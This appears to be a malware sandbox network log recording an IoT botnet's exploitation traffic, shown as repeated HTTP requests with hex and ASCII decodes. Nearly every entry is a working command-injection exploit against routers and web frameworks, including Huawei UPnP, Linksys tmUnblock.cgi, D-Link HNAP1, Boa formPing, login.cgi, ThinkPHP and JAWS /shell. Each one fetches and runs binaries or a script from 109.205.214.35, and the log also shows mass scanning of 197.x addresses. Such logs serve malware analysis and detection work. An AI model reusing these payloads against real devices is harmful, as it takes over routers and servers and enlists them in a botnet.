28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 197.152.84.105
Source: unknown	TCP traffic detected without corresponding DNS query: 197.39.237.184
Source: unknown	TCP traffic detected without corresponding DNS query: 197.22.145.17
Source: unknown	TCP traffic detected without corresponding DNS query: 197.47.174.105
Source: unknown	TCP traffic detected without corresponding DNS query: 197.80.13.182
Source: unknown	TCP traffic detected without corresponding DNS query: 197.70.76.247
Source: unknown	TCP traffic detected without corresponding DNS query: 197.225.177.217
Source: unknown	TCP traffic detected without corresponding DNS query: 197.169.91.205
Source: unknown	TCP traffic detected without corresponding DNS query: 197.237.232.26
Source: unknown	TCP traffic detected without corresponding DNS query: 197.231.223.151
Source: unknown	TCP traffic detected without corresponding DNS query: 197.209.80.159
Source: unknown	TCP traffic detected without corresponding DNS query: 197.52.28.184
Source: unknown	TCP traffic detected without corresponding DNS query: 197.21.193.164
Source: unknown	TCP traffic detected without corresponding DNS query: 197.234.137.168
Source: unknown	TCP traffic detected without corresponding DNS query: 197.182.116.8
Source: unknown	TCP traffic detected without corresponding DNS query: 197.232.127.111
Source: unknown	TCP traffic detected without corresponding DNS query: 197.16.149.53
Source: unknown	TCP traffic detected without corresponding DNS query: 197.195.126.87
Source: unknown	TCP traffic detected without corresponding DNS query: 197.175.175.155
Source: unknown	TCP traffic detected without corresponding DNS query: 197.55.109.181
Source: unknown	TCP traffic detected without corresponding DNS query: 197.3.214.88
Source: unknown	TCP traffic detected without corresponding DNS query: 197.16.247.174
Source: unknown	TCP traffic detected without corresponding DNS query: 197.185.97.11
Source: unknown	TCP traffic detected without corresponding DNS query: 197.226.216.17
Source: unknown	TCP traffic detected without corresponding DNS query: 197.149.83.212
Source: unknown	TCP traffic detected without corresponding DNS query: 197.26.42.28
Source: unknown	TCP traffic detected without corresponding DNS query: 197.20.136.69
Source: unknown	TCP traffic detected without corresponding DNS query: 197.151.138.71
Source: unknown	TCP traffic detected without corresponding DNS query: 197.143.47.62
Source: unknown	TCP traffic detected without corresponding DNS query: 197.75.46.39
Source: unknown	TCP traffic detected without corresponding DNS query: 197.241.233.190
Source: unknown	TCP traffic detected without corresponding DNS query: 197.23.9.228
Source: unknown	TCP traffic detected without corresponding DNS query: 197.96.1.210
Source: unknown	TCP traffic detected without corresponding DNS query: 197.81.186.136
Source: unknown	TCP traffic detected without corresponding DNS query: 197.114.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 197.252.74.228
Source: unknown	TCP traffic detected without corresponding DNS query: 197.25.154.230
Source: unknown	TCP traffic detected without corresponding DNS query: 197.243.246.219
Source: unknown	TCP traffic detected without corresponding DNS query: 197.251.82.174
Source: unknown	TCP traffic detected without corresponding DNS query: 197.123.144.187
Source: unknown	TCP traffic detected without corresponding DNS query: 197.6.160.75
Source: unknown	TCP traffic detected without corresponding DNS query: 197.207.241.201
Source: unknown	TCP traffic detected without corresponding DNS query: 197.114.39.226
Source: unknown	TCP traffic detected without corresponding DNS query: 197.115.83.22
Source: unknown	TCP traffic detected without corresponding DNS query: 197.173.61.232
Source: unknown	TCP traffic detected without corresponding DNS query: 197.178.62.170
Source: unknown	TCP traffic detected without corresponding DNS query: 197.252.165.41
Source: unknown	TCP traffic detected without corresponding DNS query: 197.52.61.216
Source: unknown	TCP traffic detected without corresponding DNS query: 197.16.255.159
Source: unknown	TCP traffic detected without corresponding DNS query: 197.146.199.218

Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
